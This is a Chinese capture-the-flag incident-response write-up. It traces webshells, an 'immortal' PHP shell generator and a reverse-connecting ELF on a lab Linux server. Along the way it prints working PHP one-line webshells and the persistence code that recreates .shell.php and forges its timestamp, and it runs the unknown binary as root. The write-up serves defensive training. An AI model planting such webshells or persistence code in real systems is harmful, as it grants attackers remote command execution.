玄机靶场--第一章 应急响应- Linux入侵排查

文章目录

第一章 应急响应- Linux入侵排查

账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1.web目录存在木马,请找到木马的密码提交

和上一次的webshell查杀一样,可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。

bash 复制代码
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 

命令解析:

bash 复制代码
find ./ type f -name "*.php" | xargs grep "eval(" 
  • find ./ type f -name "*.php":在当前目录及子目录下,寻找以.php后缀结尾的文件。,输出其文件路径。
  • xargs:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。
  • grep "eval(" :在文件内容中查找字符串 "eval("

这里在搜索.php文件并过滤eval函数的时候,得到了三个文件.shell.phpindex.php1.php

bash 复制代码
root@ip-10-0-10-4:/var/www# find ./ type f -name "*.php" | xargs grep "eval(" 
find: 'type': No such file or directory
find: 'f': No such file or directory
./html/.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./html/index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./html/1.php:<?php eval($_POST[1]);?>

看到1.php中一句话木马密码为1

flag{1}
2.服务器疑似存在不死马,请找到不死马的密码提交

上面还有.shell.phpindex.php这两个文件,挨个看一下

bash 复制代码
root@ip-10-0-10-4:/var/www# cd html
root@ip-10-0-10-4:/var/www/html# cat .shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
php 复制代码
//shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>

index.php产生的,这段代码作用是判断传入的密码的MD5值是否正确,如果正确,则可以通过POST提交的参数cmd进行命令执行。

php 复制代码
//index.php
<?php
//引入外部文件
include('config.php');  //config.php通常是配置文件
include(SYS_ROOT.INC.'common.php'); //common.php通常是公共的辅助函数或类库
//获取路径
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path); //做安全处理,对路径进行过滤
//控制器
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
//创建恶意文件,并将恶意代码写入其中
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php'); //伪造文件时间戳
usleep(3000); //增加延迟避免监控
?>
密码的MD5值:5d41402abc4b2a76b9719d911017c592
经过MD5解密:hello

flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名

由上一题分析得到,不死马由index.php生成。

flag{index.php}
4.黑客留下了木马文件,请找出黑客的服务器ip提交

返回web目录,查看一下还有什么,看到一个可疑的文件'shell(1).elf'。可以尝试执行一下,然后查看连接的服务器。

bash 复制代码
root@ip-10-0-10-4:/var/www/html# ls
 1.php   admin     config.php   favicon.ico   index.php     LICENSE    README.md  'shell(1).elf'   template
 1.tar   api.php   data         include       install.php   pictures   rss.php     sitemap.php     wap
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'
-bash: syntax error near unexpected token `1'
root@ip-10-0-10-4:/var/www/html# chmod 777 'shell(1).elf'
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'

在html目录下存在一个'shell(1).elf'文件,尝试执行,发现没有权限,直接给777权限,然后执行。

这里执行之后是没有任何回显的,需要再开一个连接。

bash 复制代码
root@ip-10-0-10-4:~# netstat -antlp | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      553/mysqld          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      496/sshd            
tcp        0      0 10.0.10.4:22            223.102.112.50:17121    ESTABLISHED 1230/sshd: root@not 
tcp        0    168 10.0.10.4:22            223.102.112.50:17216    ESTABLISHED 8360/sshd: root@pts 
tcp        0      0 10.0.10.4:22            188.165.33.179:35306    SYN_RECV    -                   
tcp        0      1 10.0.10.4:33052         10.11.55.21:3333        SYN_SENT    6941/./shell(1).elf 
tcp        0      0 10.0.10.4:22            223.102.112.50:17101    ESTABLISHED 814/sshd: root@pts/ 
tcp6       0      0 :::80                   :::*                    LISTEN      680/apache2         
tcp6       0      0 :::22                   :::*                    LISTEN      496/sshd    

命令分析:

bash 复制代码
netstat -antlp | more

netstat用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。可以用于显示网络连接和监听端口的详细信息。

  • -a:显示所有连接中的端口,包括监听和非监听。
  • -n:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。
  • -t:显示 TCP 连接。
  • -l:显示监听状态的套接字。
  • -p:显示使用每个套接字的程序。

使用more命令通过分页方式呈现输出内容。

找到连接的ip:10.11.55.21

flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

同上

flag{3333}
利用工具排查

将/var/www/html目录dump下来,使用D盾扫描

扫出来的第二个文件1.php,即为第一问所需的文件。

扫出来的第四个文件index.php,即为第二问、第三问所需的文件。

剩下的没有扫出来的使用云沙箱等工具扫描,这里使用微步的云沙箱发现shell(1).elf文件,并且可以找到服务器ip以及端口。

相关推荐
dxaiofcu2 分钟前
双网卡电脑,IP地址漂移
linux·服务器·网络
三天不学习5 分钟前
uniapp x 学习之 uts 语言快速入门
学习·uni-app
Macle_Chen7 分钟前
Mac服务器上创建Docker并安装宝塔环境
服务器·macos·docker
ChinaRainbowSea11 分钟前
Linux: Centos7 Cannot find a valid baseurl for repo: base/7/x86_64 解决方案
java·linux·运维·服务器·docker·架构
vortex535 分钟前
在Kali中使用虚拟环境安装python工具的最佳实践:以 pwncat 为例
linux·python·网络安全·渗透测试·pip·kali
Codingwiz_Joy43 分钟前
Day04 模拟原生开发app过程 Androidstudio+逍遥模拟器
android·安全·web安全·安全性测试
LKAI.1 小时前
MongoDB用户管理和复制组
linux·数据库·mongodb
linux修理工1 小时前
moodle 开源的在线学习管理系统(LMS)部署
linux
蓑衣客VS索尼克2 小时前
无感方波开环强拖总结
经验分享·单片机·学习
snpgroupcn2 小时前
ECC升级到S/4 HANA的功能差异 物料、采购、库存管理对比指南
运维·安全·数据库架构